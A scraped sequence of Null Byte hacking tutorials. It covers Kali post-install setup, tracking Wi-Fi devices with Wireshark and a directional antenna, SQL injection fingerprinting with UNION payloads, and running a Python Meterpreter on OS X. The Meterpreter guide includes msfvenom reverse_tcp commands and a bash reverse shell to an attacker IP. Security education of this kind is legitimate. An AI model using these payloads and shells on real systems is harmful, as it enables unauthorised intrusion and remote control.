[Y/n] yFinally, usedpkg, a command line package manager, with the install (-i) argument.dpkg -i ~/Downloads/atom-amd64.deb (Reading database ... 191882 files and directories currently installed.) Preparing to unpack atom-amd64.deb ... Unpacking atom (1.29.0) over (1.29.0) ... Setting up atom (1.29.0) ... Processing triggers for desktop-file-utils (0.23-3) ... Processing triggers for mime-support (3.60) ...When that's done, Atom will be available in your Applications menu.Image viaAtom9. Clone Rubber Ducky EncoderTheUSB Rubber Duckyis the notorious keystroke injection tool. Creatingducky payloadsis easy using theDuckToolKit website, but as a penetration tester, it's unsafe to share client information with random websites. Uploading payload contents to a third-party website can be dangerous.Instead, we can useGitto clone the USB Rubber Duckyrepositoryand encode payloads locally.git clone https://github.com/hak5darren/USB-Rubber-Ducky Cloning into 'USB-Rubber-Ducky'... remote: Counting objects: 1657, done. remote: Total 1657 (delta 0), reused 0 (delta 0), pack-reused 1657 Receiving objects: 100% (1657/1657), 31.88 MiB | 162.00 KiB/s, done. Resolving deltas: 100% (745/745), done. Checking out files: 100% (1509/1509), done.Then, change (cd) into the USB-Rubber-Ducky/Encoder/ directory and use the followingjavacommand to startencoding ducky payloadswithout third-party websites.cd USB-Rubber-Ducky/Encoder/ java -jar encoder.jar -i input_payload.txt -o inject.bin10. Change SSH Keys & Default PasswordThe default password for every Kali Linux installation is the same (toor) which makes it very easy to automate attacks. Also, the default SSH keys can allow an attacker to intercept your communications when you're controlling something like a Raspberry Pi via SSH.To change the SSH keys, first, change into the directory. Doing the below two commands will reset the SSH keys from the default ones.cd /etc/ssh/ dpkg-reconfigure openssh-server rescue-ssh.target is a disabled or a static unit, not starting it.Now, for your Kali system's password, enterpasswd root, then enter in your new password. Afterward, retype it to confirm. If you're not logged in as root, you may be asked for your current password before doing this.passwd root Enter new UNIX password: Retype new UNIX password: passwd: password updated successfullyWhat's the First Thing You Do After Installing Kali?We all have varying degrees of interests, skill sets, and levels of experience. Which makes compiling a well-rounded list of post-installation steps tricky. Did I miss any critical steps? How do you personalize and customize new Kali installations? Be sure to leave a comment below.Don't Miss:Linux Basics for the Aspiring HackerFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byDanny Meneses/PEXELS; Screenshots by distortion/Null Byte (unless otherwise noted)RelatedHow To:Run Kali Linux as a Windows SubsystemHow To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1How To:KALI Linux 6 Things You Should Do After InstallingNews:20 Things to Do with Kali Linux After Installation
How to Hunt Down Wi-Fi Devices with a Directional Antenna « Null Byte :: WonderHowTo
If you've ever wanted to track down the source of a Wi-Fi transmission, doing so can be relatively easy with the right equipment.Using adirectional Wi-Fi antennaandWireshark, we can create a display filter to target any device in range to plot the signal strength on a graph. By sweeping the antenna back and forth, we can easily discover which direction the signal is coming from by looking for spikes in signal strength on the graph.Uses for Wi-Fi Signal HuntingIf you've ever seen a Wi-Fi network that doesn't belong, you might wonder if there is a way to track down where it's coming from. It could be a suspicious rogue access point that appears at your place of work, a new network with a strong signal that shows up at your home, or a Wi-Fi hotspot from a smartphone that seems unusually close and strong.Don't Miss:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterWhatever it is, signal hunting can help you locate Wi-Fi client devices, meaning you can use it to track down the location of rogue devices that suddenly appear on your WI-Fi network.The tracking of radio signals isn't new, but for a beginner looking to localize the source of a Wi-Fi network, the options may at first seem limited. By walking around with a device that can display the signal strength, like a smartphone, it's possible to observe when you get further and closer to a targeted broadcast. However, it can be pretty inaccurate due to the way Wi-Fi bounces off walls and other obstacles.Don't Miss:Create Packets from Scratch with Scapy for Scanning & DoSingThe problem with that approach is that it uses anomnidirectional antenna, which hasa radiation fieldthat resembles a doughnut. Its pattern allows excellent reception from a nearby Wi-Fi network from nearly any direction, but it also makes it difficult to tell what direction a signal is coming from.Instead, it's useful to locate the direction that the signal is broadcasting with a highly directional antenna, like aYagi,panel, orparabolic grid antenna. Unlike the doughnut-shaped pattern of an omnidirectional antenna, a directional antenna will receive a much stronger signal when pointed directly at the target.Wireshark for Signals IntelligenceWhen it comes to visualizing signal strength in a way that's useful for hunting down suspicious Wi-Fi devices, Wireshark is surprisingly good at plotting the strength of transmissions from any nearby Wi-Fi device we want.While the feature isn't very well-documented, the process of identifying a device to target and graphing its signal strength is surprisingly simple. When paired with a Wi-Fi network adapter that can be put into monitor mode and a highly directional Wi-Fi antenna, Wireshark can quickly reveal the location of any Wi-Fi device operating in range.Signal hunting in Wireshark has a simple workflow to follow that allows for easy identification and tracking of target devices. First, we put a Wi-Fi network adapter into monitor mode and begin scanning for targets withairodump-ngto locate the channel our target is on. Once we know the channel our target is broadcasting, we can scan only on that channel to get the maximum number of packets for plotting in Wireshark.After locking onto the correct channel, we can open Wireshark, identify a packet from the device we want to track, and then create a display filter to only show transmissions from that Wi-Fi device. Finally, we use Wireshark's I/O graph to plot the signal strength over time as we move the directional antenna around the room, looking for spikes in signal strength.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWhat You'll NeedTo follow along, you'll need a computer capable of running Wireshark and putting your Wi-Fi network adapter into monitor mode. You can do so on any Kali- or Debian-based Linux computer, as well as in a virtual machine on a macOS or Windows device.You'll also need an externalWi-Fi network adapterthat's capable of being put into monitor mode. I recommend an Alfa Wi-Fi network adapter like theAWUS036NEHor, if you're looking for something more rugged, theTube-UN adapteris waterproof and meant for outdoors.Buy on Amazon:Alfa AWUS036NEH Network AdapterBuy on Amazon:Alfa Tube-U(N) Network AdapterFinally, you'll needa directional Wi-Fi antenna, such asa panel antenna from Alfa. You can also use aYagi antenna, aparabolic grid, or a cantenna if you want to create your own directional antenna.Buy on Amazon:Alfa RP-SMA 7 dBi Panel AntennaBuy on Amazon:Tupavco TP512 Yagi AntennaBuy on Amazon:ALFA Yagi 18dBi AntennaBuy on Amazon:SimpleWiFi G2424 WiFi Extender Directional Parabolic GridStep 1: Put Your Card into Monitor ModeTo get started, plug in your wireless network adapter to your Kali or Debian-based system, then identify its name by running the commandifconfigin a fresh terminal window. You should see your card named something like "wlan1," but if it doesn't automatically appear, runip ato see if it's attached but not yet up.If you see your card withip abut notifconfig, runifconfig wlan1 upto bring your card up. Now, it should be visible while runningifconfig.Now, to put your card into monitor mode, run the following command, assuming your wireless network adapter name is "wlan1" and it's up.~# airmon-ng start wlan1 Found 3 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 538 NetworkManager 608 wpa_supplicant 2446 dhclient PHY Interface Driver Chipset phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01) phy4 wlan1 rt2800usb Ralink Technology, Corp. RT5372 (mac80211 monitor mode vif enabled for [phy4]wlan1 on [phy4]wlan1mon) (mac80211 station mode vif disabled for [phy4]wlan1)Now, your card should be named "wlan1mon" after being placed in monitor mode. With the wireless network adapter in monitor mode, we can start listening in on Wi-Fi traffic by running the following command.~# airodump-ng wlan1monStep 2: Identify the Target & Broadcasting ChannelWith the wireless network adapter in monitor mode, we can start listening in on Wi-Fi traffic by running the following command.~# airodump-ng wlan1monWe should then see a list of nearby Wi-Fi networks we can target.CH 10 ][ Elapsed: 0 s ][ 2019-08-04 03:33 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID CC:40:D0:6C:73:D1 -40 2 0 0 8 195 WPA2 CCMP PSK SuicideGirls C0:8A:DE:B9:CD:D8 -50 2 0 0 1 130 OPN SpectrumWiFi C0:8A:DE:79:CD:D8 -50 2 0 0 1 130 WPA2 CCMP MGT SpectrumWiFi Plus C0:8A:DE:39:CD:D8 -49 2 0 0 1 130 OPN CableWiFi 00:9C:02:D2:5E:B9 -65 2 0 0 1 54e. WPA2 CCMP PSK HP-Print-B9-Officejet Pro 8600 88:96:4E:50:FF:40 -45 3 0 0 1 195 WPA2 CCMP PSK ATTMfRfcmS 78:96:84:00:B5:B0 -48 2 0 0 1 130 WPA2 CCMP PSK The Daily Planet BSSID STATION PWR Rate Lost Frames Probe C0:8A:DE:79:CD:D8 4A:F3:2A:2A:4E:E6 -68 0 - 1 0 2PressControl-Cto stop the capture when you've found what you're looking for. Now, we need to determine the channel the network we want to track is on. Here, we've got several networks available, and we're going to follow the one with the SSID of "ATTMfRfcmS."If you want to get a rough idea of where the network has been seen before, you can type the BSSID intoWigle.netand look for any previous observations. Here, we can see that our target was observed twice.The most important part of the information we get from running airodump-ng is the channel number that our target is transmitting on. Now that we know that it's broadcasting on channel 1, we'll restart our airodump-ng command to only scan on that channel.Step 3: Listen on the Channel & Start WiresharkIn our terminal window, we'll start airodump-ng again, but this time, we'll include the-cflag followed by the channel that our target is on. For channel 1, it should look like the following.~# airodump-ng wlan1mon -c 1It's vital because Wireshark can't control the wireless card by itself, so we need to run airodump-ng to keep it on the correct channel and avoid losing packets while scanning on the wrong channel.As airodump-ng runs on channel 1, it's time to start Wireshark. After Wireshark opens, select the "wlan1mon" card you have in monitor mode as your capture source, then click the blue shark fin icon on the top left to begin capturing packets on channel 1.You should now see lots of packets being intercepted by Wireshark! Our next task is to identify a packet from our target and use it to create a display filter.Step 4: Identify & Filter the TargetNow that we've got some packets to search through, we can quickly look for beacon frames that contain the name of the network we're looking for. After clicking on the beacon frame, click on the arrow next to "IEEE 802.11" and look for the "Transmitter address" or "Source address" field. That's what we'll use to build our capture filter to show only the device we're hunting for.Right-click on the "Transmitter address" to show a list of options, select "Apply as filter," and then "Selected" to create a display filter that only shows packets transmitted from this device's BSSID. It should show all Wi-Fi transmissions from our network of interest and nothing from unrelated networks.You should notice a new filter in the filter bar that looks like "wlan.ta ==" and the BSSID of the target Wi-Fi device. The capture filter simply says, "show only packets with a transmitter address that matches this one."The result is that we've isolated one Wi-Fi device, first by finding the channel it's on, and then by creating a filter to only show transmissions from the device we want to track. Now that we've isolated the signal we're following, it's time to start visualizing signal strength.Don't Miss:Control Anything with a Wi-Fi Relay Switch Using aRestStep 5: Graph the Filtered Signal StrengthTo start graphing signal strength, copy the display filter created, click on "Statistics," then "I/O Graph" to launch Wireshark's graphing window. Click the plus (+) icon to create a new graph, and uncheck any other graphs that may be enabled.Name your graph something you'll remember, and then, paste your display filter into theDisplay Filterfield. Next, pastewlan_radio.signal_dbminto theY Fieldbox, and select "AVG(Y Field)" as theY Axis. Finally, set theStyleto "Line," then theSMA Periodto "10 Interval SMA."Once you've finished, your settings should look like below, and your signal strength graph should begin.That graph is showing us the average signal strength of packets from our targeted device over time. Without moving the directional antenna of your adapter, let this average out for a minute to get a baseline reading. The signal may seem to vary wildly at first because Wireshark is graphing a small change in signal, but the graph will make more sense as we sweep around the room and encounter stronger and weaker signals that will stretch out the averages of the graph.Step 6: Sweep the Area for Signal SpikesNow, it's time for the moment of truth. Slowly rotate your directional antenna 360 degrees, watching for spikes in signal strength that reveal the direction from which the transmissions are coming from.In our graph below, I slowly rotated a panel antenna from one side to the other and saw a huge spike when the antenna was pointed directly at the signal source.After sweeping back and forth a few times, you should be able to identify a spike in the signal. Walk towards the direction of the peak, and repeat a sweep for the signal to narrow down the location of any transmitting Wi-Fi device systematically.Tracking Down Wi-Fi Devices Is Easy with the Right GearWhenever a Wi-Fi network appears where it shouldn't or a device starts connecting to your Wi-Fi without permission, Wireshark and a network adapter can tell you where the signal is coming from. This valuable skill makes it easy to determine where a rogue AP might be hidden or who might be joining a network without permission. If you suspect your neighbor's been connecting to your Wi-Fi network and you haven't been able to prove it, this technique could provide you with all the evidence you need.I hope you've enjoyed this guide to tracking down Wi-Fi devices with Wireshark! If you have any questions about our tutorial on tracking devices via signal strength, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Safely Launch Fireworks Over Wi-Fi with an ESP8266 Board & ArduinoWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Kody/Null ByteRelatedHow To:Pick an Antenna for Wi-Fi HackingHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Extend Your Wi-Fi Signal with This Super Cheap and Easy-to-Make Directional Biquad AntennaAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Build an eco-friendly directional WiFi antennaHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Make a satellite dish Wi-Fi antenna for free internetHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017Hacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Remove the Annoying “Wi-Fi Connected” Notification on AndroidHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Build a weatherproof compact high gain WiFi antennaHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Improve Wi-Fi Performance on Your Rooted Nexus 4How To:Spy on Network Relationships with Airgraph-NgHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonNews:PSP2 (Next Generation Portable) or NGPNews:Art Meets Information Liberation with the Transparency GrenadeHow To:Increase the range of a Wi-Fi AntennaHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Auto-Toggle Your Android Device's Wi-Fi On and Off When Near or Away from a Hotspot
SQL Injection 101: How to Fingerprint Databases & Perform General Reconnaissance for a More Successful Attack « Null Byte :: WonderHowTo
Know thy enemy — wise words that can be applied to many different situations, includingdatabase hacking. It is essential to performing adequatereconnaissanceon a system before even thinking about launching an attack — any type of attack — and this is no different for SQL injection.The first part of this series covered thebasics of databases, SQL, and SQL injectionto provide a solid foundation you could build upon. Now, we are ready to explore methods to identify and fingerprint databases so we can focus our attacks more efficiently. If you haven't checked out the previous article, hit up the link below to do so before continuing.Previously:Database & SQL Basics Every Hacker Needs to Know for SQL InjectionInitial ProbingBefore any attacks are launched, we first need to test if the application is vulnerable to SQL injection. Any place where it could interact with a database is potentially a target, so it's important to try out all the input fields to determine if they are vulnerable.Usually, trying a single quote (') is an excellent place to start — this is used in SQL to end a string, and if the input isn't properly filtered, it is likely to return an error. A semicolon (;) can also be tried since it is used to end SQL statements. Comment characters such as--and/* */will also likely generate errors, as well as keywords likeORandAND. Another way to fool the database into returning an error is to input a number where a string is expected or vice versa.Sometimes, we can check if a webpage is vulnerable to SQL injection through the URL parameters. The following URL is a typical example of how a database displays products or information on a webpage:http://www.exampleurl.com/product.php?id=4In this case,idis a parameter and4is its value. Here is what this query looks like to the database:SELECT * FROM Products WHERE ProductID=4;We can test for injection using the same methods utilized for input fields like before, and if errors are generated, we can be reasonably confident that injection is possible.It is essential to be cognizant of responses from the server when testing for SQL injection. Often, we won't be so lucky to have detailed error messages displayed right in front of us, so checking thesource codeof the webpage can prove useful. Sometimes, even a blank page that is returned is an indicator that a vulnerability exists.Database FingerprintingThere are many types of database systems that exist, so it is wise to figure out whichRDBMSwe are up against before launching an attack. Not only does this save time and frustration, but it also narrows down the number of attack vectors to try. The following examples will go over techniques to accomplish this for MySQL, Microsoft SQL Server, PostgreSQL, and Oracle Database.Don't Miss:The Essential Newbie's Guide to SQL Injections & Manipulating Data in a MySQL DatabaseMethod 1: Query Database for Version InfoThe first thing we can try is to query the database for its version information. These commands are built into the database so this is often the easiest path to identification. Here are the injections:MySQL:SELECT version()MS SQL:SELECT @@versionPostgreSQL:SELECT version()Oracle:SELECT version FROM v$instanceorSELECT FROM PRODUCT_COMPONENT_VERSIONUsing the previous example URL, here is the injection for MySQL and PostgreSQL:http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version()And this is what's passed to the database:SELECT * FROM Products WHERE ProductID = 4 UNION SELECT version();For MS SQL:http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20@@versionAnd the database query:SELECT * FROM Products WHERE ProductID = 4 UNION SELECT @@version;For Oracle:http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version%20FROM%20v$instanceDatabase query:SELECT * FROM Products WHERE ProductID = 4 UNION SELECT version FROM v$instance;Method 2: Use a Boolean QueryThe next method to try deals with string concatenation, since different database systems handle this in different ways. This is achieved by tacking on a Boolean test, and if the query returns true, you know that it worked. Here is how each RDBMS handles string concatenation:MySQL:CONCAT('a','b')MS SQL:'a' + 'b'PostgreSQL:'a' || 'b'Oracle:CONCAT('a','b')or'a' || 'b'So let's take a look at the following URL using MySQL or Oracle as the database:http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=CONCAT%28%27a%27%2C%27b%27%29The following is the resulting query. If this returns true, then you know that you are either dealing with Oracle or MySQL.SELECT * FROM Products WHERE ProductID = 4 AND 'ab' = CONCAT('a','b');From here, you can try the same injection with the other Oracle string concatenation command, which also works for PostgreSQL:http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20||%20%27b%27And the resulting query is as follows. If it doesn't work, and the first Oracle or MySQL did, then at this point, you can be pretty confident the database is MySQL.SELECT * FROM Products WHERE ProductID = 4 AND 'ab' = 'a' || 'b';Here is what it would look like for MS SQL:http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20+%20%27b%27And the database query:SELECT * FROM Products WHERE ProductID = 4 AND 'ab' = 'a' + 'b';Method 3: Analyze Error Messages ReceivedAnother useful way to identify the database is to simply analyze the error messages received from the application when testing for injection flaws. MySQL will usually return something like this:Cannot query the database.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'" at line 1Oracle will display the characters "ORA" followed by a dash and a five-digit number. MS SQL and PostgreSQL aren't quite as straightforward to recognize, but playing around with different inputs will usually lead to desired results (or a quick Google search of the error will also work).Method 4: Make an Educated GuessFinally, if all else fails, we can usually make an educated guess as to whattype of database an application is using. Sites coded in PHP will often use MySQL as a database. Microsoft .Net usually employs MS SQL. Python web apps such as Django often utilize PostgreSQL. And Oracle is most often used for Java applications. Once we know what type of database we're working with, it makes it a lot easier to perform more advanced information gathering.Finding Table NamesIn order to get the most out of SQL injection, we need to know what tables are actually present in the database. The UNION operator can be used to join a forged query to the original, allowing us to view data from other tables. Let's take a look at theUsersandAdminstables fromthe previous article:We can use the following query to begin extracting information from the tables:SELECT * FROM Users WHERE ID = 1 ORDER BY 4;The first thing that needs to be done for this to be successful is to determine the correct number of columns since the SELECT statements within the UNION need to have the same number of them. This can be achieved by using the ORDER BY clause, we would just have to gradually increment the number to ORDER BY (as in ORDER BY 5, ORDER BY 6, etc.), and once the query fails, we can safely assume there are that many columns present.Next, we need to determine the data type of each column. This can be accomplished by a bit of trial and error utilizing null values. Using the tables from before, we can begin by guessing the data type of the first column:SELECT * FROM Users UNION SELECT 1 ,null ,null ,null--We know that there are four total columns, so we can try an integer in the first column followed by three null values (frequently, the first column is an id of some sort, so it makes sense to try an integer first). If the query is successful, we can assume we have the right data type and move on to the next column as so:SELECT * FROM Users UNION SELECT 1 ,'x' ,null ,null--The 'x' in quotes indicate a string, and once we are successful, we can move on using the same process for the remaining columns.Extracting Schema InformationMost databases also have built-in tables that contain schema information andmetadatarelating to other tables in the system. We can use a UNION-based injection to retrieve this data. MySQL, MS SQL, and PostgreSQL all use the tableinformationschema.tables, which contains the columnstable_nameandtable_schema. So the injection could look something like this:SELECT ID ,Name FROM Users UNION SELECT table_name ,table_schema FROM information_schema.tables--Oracle uses a slightly different naming convention, but the concept is the same:SELECT ID ,Name FROM Users UNION SELECT table_name ,owner FROM all_tables--As you can see, UNION-based SQL injection can expose a lot of information about other tables in the database.Stay Tuned for More on SQL InjectionInformation gathering is one of the most important steps to successful penetration testing and hacking. Now that we have covered methods to identify key information about a database, we can move on to advanced SQL injection techniques. So stay tuned, as we'll have a new SQL injection guide up in the near future to continue this series.Next Up:Advanced SQL Injection Techniques for Maximum ExploitationFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byKevin Ku/Pexels; Screenshots by drd_/Null ByteRelatedSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Enumerate MySQL Databases with MetasploitSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:SQL Injection! -- Detailed Introduction.News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:SQL Injection Finding Vulnerable Websites..How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Hack websites with SQL injectionHow to Hack Databases:Hunting for Microsoft's SQL ServerBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Gather Information on PostgreSQL Databases with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoogle Dorking:AmIDoinItRite?How To:Protect Your PHP Website from SQL Injection HacksHow To:Hack websites with SQL injection and WebGoatHack Logs and Linux Commands:What's Going On Here?News:PostgreSQL Quick StartIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Noob's Introductory Guide to Hacking: Where to Get Started?How Null Byte Injections Work:A History of Our Namesake
How to Use Meterpeter on OS X « Null Byte :: WonderHowTo
Hello all, this is my first submission to null byte! I noticed something a little strange, particularly that whenever Meterpreter is discussed, it is virtually always in the context of Windows. Granted, the Windows Meterpreter is more powerful than the version that can run on OS X (it has several more commands/options), but I think it is still worth noting how to do it. I've even seen some people mistakenly say that Meterpreter can only be run on Windows, which is not true. Meterpreter can easily used to target OS X by using the Python version of Meterpreter since all Mac OS's ship with Python.If you are unfamiliar with Meterpreter, it is a backdoor program that allows you to execute a number of different built-in commands on the targeted computer, including spawning a shell, downloading/uploading files to/from the target computer, etc. In this tutorial, I will assume that you have an instance of Kali Linux available to you, since I will be using it as the attacking system in this guide. Kali comes with Metasploit, the software from which you can create an instance of Meterpreter and control it.Step 1: Generate Python Script with msfvenomIn order to create a Meterpreter instance that will specifically connect back to our attacking computer from OS X, we will use msfvenom to produce a Python-based Meterpreter. In this guide, I will be using the reverse tcp option, which simply means that the Meterpreter instance will connect back to our attacking system, rather then specifically connecting directly to itfromthe attacking system. Lets say in this example, the Kali system has an IP address of 10.211.5.3. To start, open a new terminal in Kali and type in the following command:msfvenom -p python/meterpreter/reverse_tcp LHOST=10.211.5.3 LPORT=6680 > pyterpreter.pyHit enter and the file pyterpreter.py should appear in your home folder. Now we need to set up a way to listen for the Metepreter when it is run on the target system.Step 2: Using Metasploit's HandlerOpen up Metasploit either by browsing Applications > Kali Linux > Top 10 Security Tools > metasploit framework or by simply opening a new terminal and entering the command "msfconsole". Once Metasploit finishes opening, type the following command to start setting up a handler to listen for the Meterpreter:use multi/handlerNow that we have the handler open, we need to set it up by executing the following commands consecutively in Metasploit:set PAYLOAD python/meterpreter/reverse_tcpset LHOST 10.211.5.3set LPORT 6680The first command tells the handler what payload we are using. The second tells it the local host IP (remember to put in your own Kali IP). The third says which port to listen to. It's important that this port matches the one used in generating the Meterpreter, since that is the port it will be spawning to. I semi-arbitrarily chose that port since it's in a port range that isn't used by other common services.To start up the handler, enter the following command:exploit -j -zThe command exploit simply tells Metasploit to start the exploit. The -j flag tells it to run in the context of a job and -z simply means to not interact with the session once it becomes active. Running the exploit as a job allows it to run in the background and gives you control of the process running. Your screen should then look similar to this:Step 3: Running Meterpreter on the Target OS X SystemNow transfer the Python script we generated earlier with msfvenom to the target system. In actual practice, you might want to find some way to stealthily execute this on the target, but for the purposes of this guide I will assume you have a testable version of OS X to try this out on. Once the .py file is put onto the target system running OS X, you can start it up by opening a terminal and typing the following command:python pyterpreter.pyNote: this command assumes you have either set the current directory to the same directory as your pyterpreter.py file or that it is simply in your home directory.The script should immediately exit, as the Meterpreter will run as a daemon in the background.Step 4: Check for a New Meterpreter Session on Kali and Have Fun!Now go back to your Kali system and Metasploit should have reported a new session opened. To list your sessions, simply enter the command "sessions" in Metasploit. Assuming the new session is 1, enter the following command to start interacting with the Meterpreter:sessions -i 1To see a list of commands available on this Meterpreter, simply enter the command "help". Some particularly useful commands you might find are execute, download, upload, shell, and sysinfo. For example, if you wanted to execute a command to make the Mac text-to-speech command say something on the target computer, you would use the following in Meterpreter:execute -f /bin/usr/say -a "hey there buddy"Alternatively, you could spawn a shell by entering the command "shell" and then using that to execute such a command.One benefit of having the Meterpreter is that you can send it to the background and do other things on Metasploit in the mean time. Simply enter the command background and it will take you back to Metasploit. To start interacting with the Meterpreter again, simply do what you did before with thesessions -i 1command, where 1 is the session ID of the Meterpreter.Upgrading a Shell Session to MeterpreterAn alternative and quicker way to get the Meterpreter running on the target machine would be to start off with a reverse shell. Like I showed you in Step 2, all you have to do is set up a handler in Metasploit but here you would set the payload to "osx/x64/shell_reverse_tcp" instead. All the other steps in setting the handler would be exactly the same This way, you don't even need to generate a script with msfvenom to get this working. Simply run the handler, then run the following command on your target machine in a terminal:bash -i >& /dev/tcp/10.211.55.3/6680 0>&1 2>&1This command simply means "send an interactive bash session to IP address 10.211.55.3 on TCP port 6680."Going back to Kali, you should see a new session opened in Metasploit. Don't open the session because if you do, it will simply terminate once you are done. Instead, upgrade it to a meterpreter by running the command in metasploit (assuming your new session ID is 1):sessions -u 1Now it will do it all for you and it should open a new Meterpreter session leaving your shell open.Hope you all enjoyed this tutorial and found it useful!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use the Mac OS X terminalHow To:Use the Simple Finder user interface in Mac OS XNews:This Hack Turns Your iPad into a Multi-Window Multitasking Powerhouse for $10How To:Quote emails in full or part with Mac OS X's Mail appHow To:Set custom pronunciations in Mac OS X's VoiceOver toolHow To:Optimize Spotlight results in Mac OS XHow To:Use Mac OS X shortcut keysHow To:Enable Google Chrome's Secret (And Possibly Dangerous) Experimental FeaturesHow To:Organize your Mail in Mac OS XHow To:Get Mac OS X's App Dock on Your Windows PCHow To:Announce alerts with OS X's Text to Speech featureNews:Qualcomm Sues Apple Over iPhone X GesturesHow To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Change OS X’s Annoying Default Settings Using TerminalHow To:Manage color in ApertureHow To:Work with RAW images in ApertureApple vs. LG:How Does the iPhone X Compare to the LG V30?How To:3 Free Alternatives to Apple's iPhotoHow To:Search, add and use Gadgets on your desktop in Windows 7News:China's Vivo Unveils Time-of-Flight 3D Sensor 